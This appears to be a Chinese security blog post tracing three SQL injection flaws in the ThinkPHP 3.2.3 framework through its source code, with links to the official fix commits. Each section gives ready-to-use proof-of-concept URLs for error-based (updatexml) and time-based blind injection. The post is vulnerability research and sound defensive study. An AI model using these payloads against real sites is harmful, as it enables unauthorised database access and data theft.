thinkphp3 注入漏洞
SQL where注入
配置控制器Application/Home/Controller/IndexController.class.php
输入http://127.0.0.1/thinkphp-3.2.3/index.php?id=1
打断点简单走一遍
经过了一些初始配置之后会来到I()
函数,在前面我们已经介绍过,这是封装的一个获取输入的函数。
先进行了参数类型和请求方法的分离:
然后switch
判断请求方法
这时候把输入赋值给$data
,过滤方法如果没有定义的话就用配置文件里的默认过滤
默认过滤为:
'DEFAULT_FILTER' => 'htmlspecialchars'
最后$data
还要通过think_filter()
过滤,就是匹配数据中是否具有敏感字符,其函数如下:
如果$data
匹配到敏感字符就会在数据后添加一个空格,需要注意的是,这里的特殊字符里面没有过滤BIND
接着由于TP3的链式调用我们又进入了find()
方法,继续跟进
传入find()
函数的时候参数$options
还是1'
,单引号还在
public function find($options = array())
接着判断参数是否为数字或字符串,是的话就转化为数组
这时候 $options['where']
为 where=>array('id'=>"1'")
然后判断是否存在多个主键,我们这里的主键唯一id
,不会进入
接下来经过这行代码后单引号被去除
$options = $this->_parseOptions($options);
跟进_parseOptions
函数
遍历了$options['where']
里面的值,对每个值进行
$this->_parseType($options['where'], $key);
跟进其函数$this->_parseType
为
数据库中id
对应的$fieldType
为int(11)
,所以进入
$data[$key] = intval($data[$key]);
,强制类型转换之后我们的单引号就丢失了。
接下来进入select
函数进行查询,避免了注入的问题
整个过程是id=1'
-> I()
-> find()
-> _parseOptions()
-> _parseType()
也就是我们不能进入第二个红框,突破点可以在第一个红框处
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
而恰好这里的$options
是我们可控的,紧接着其中的$options['where']
也是可控的,比如我们传入?id[where]=1
虽然这里存在对$options['where']
赋值
但因为我们传入的是数组从而不进入这个if
语句
所以在is_array($options['where'])
,这里的$options['where']
是一个字符串而不是数组,避免进入if
之后被过滤。
检测POC
检测的POC为:id[where]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
需要注意的是,只有TP开了debug模式才会有报错,当目标站点没有开debug的时候,我们很容易会想到使用时间盲注进行检测
时间盲注POC为:id[where]=1 and (select 1 from(select sleep(2))x)
另外一个需要注意的点是,这个POC需要根据实际情况来进行修改,因为id
只是测试用的参数,使用了 M('users')->find(I('GET.id')); 进行触发,恰巧在开发者手册中TP推荐这样来获取参数所以增加了漏洞的利用性
漏洞修复
https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04
SQL EXP注入
配置控制器Application/Home/Controller/IndexController.class.php
传入?username=admin
打断点调试,进入where
函数
这时候的$where
是数组,并且赋值给$this->options['where']
链式调用进行find()
函数,上一个漏洞我们分析过这个函数,继续调试进入$options = $this->_parseOptions($options);
处理之后的$options
为
接着进入select()
方法
生成查询SQL语句$sql = $this->buildSelectSql($options);
跟进$this->buildSelectSql($options);
之后其中主要调用了$sql = $this->parseSql($this->selectSql, $options);
跟进parseSql()
因为我们使用了where
方法,所以会进入parseWhere
经过一些处理之后到大概586行的$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
parseKey
获取了我们的参数名
$val
就是键值参数对应的值 admin
接着进入parseWhereItem($key, $val)
,漏洞点就在这个函数里
首先检查$val
是否是数组,如果是数组的话,$val[0]
是否是字符串,如果$val[0]
为exp
,就直接将$key
和$val[1]
进行拼接
$whereStr .= $key . ' ' . $val[1];
然后返回$whereStr
所以这个漏洞利用点也是需要用数组来进行利用,整个POC就呼之欲出了
/index.php?username[0]=exp&username[1]=%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
如果没开debug的话还是也可以用盲注
/index.php?username[0]=exp&username[1]=%20and%20(select%201%20from(select%20sleep(2))x)
需要注意的是,在这个案例中我们没有使用I()
方法来获取GET参数,而是使用的
$map = array('username' => $_GET['username']);
如果换成之前的I函数获取输入,则会进入think_filter
函数
经过其处理后,会在exp
后面拼接上空格,进而无法进入
从而无法利用
thinkphp3.2.3 bind注入
配置控制器Application/Home/Controller/IndexController.class.php
访问http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=test&password=aaa
逐步跟进之后在save()
函数中主要调用了update()
函数
$result = $this->db->update($data, $options);
数据库更新语句有下面主要由下面三部分拼接
主要看第二句$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
因为传入的是数组,跟进之后来到了$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
在前面提到过,这里会直接将传入的id[0]
作为$exp
,而$exp=='bind'
则会进入
经过该逻辑处理后数据变成了 key=:value
这样的格式,这也是为什么我们的payload输入之后会出现冒号的原因了
接下来需要寻找去除掉冒号的办法,继续跟进
进入execute()
方法,$this->queryStr
为即将执行的SQL语句,重点关注红框内的代码
这里会执行两个函数,一个strst()字符串替换函数,一个使用array_map()调用的匿名函数
进入上述代码前,即将执行的SQL语句为
"UPDATE
tp3_users
SETpassword
=:0 WHEREid
= :test"
可以看到:0
是一个占位标记符,TP在此处想要做预编译的操作,而这里的匿名函数调用escapeString()
过滤bind数组,前面知道bind数组只有set语句的值,输出数组为:
strst()
将会把占位标记符转换为 $this->bind
数组中对应的值,即将语句中的:0
替换为password
的值aaa
,从而我们只要让前面POC中的id[1]
=0
,这样就能够人为拼接出一个:0
,消除冒号的影响
最终的POC为
http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
实际执行的SQL语句为:
UPDATE
tp3_users
SETpassword
='1' WHEREid
= '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
DEBUG关闭时可以使用盲注
http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0%20and%20(select%201%20from(select%20sleep(2))x)&password=1
需要注意的是虽然我们这里用的是I()
方法获取输入但还是造成了SQL注入,原因在于I()
方法的过滤中忘记过滤bind
关键字了,所以在官方的漏洞修补中,添加了bind
关键字的过滤 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
参考链接:
- https://y4er.com/post/thinkphp3-vuln
- http://wjlshare.com/archives/1484
- https://www.freebuf.com/vuls/282906.html
- https://www.kancloud.cn/manual/thinkphp/
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/15952989.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
2020-03-01 CTFHub Web题学习笔记(Web前置技能+信息泄露题解writeup)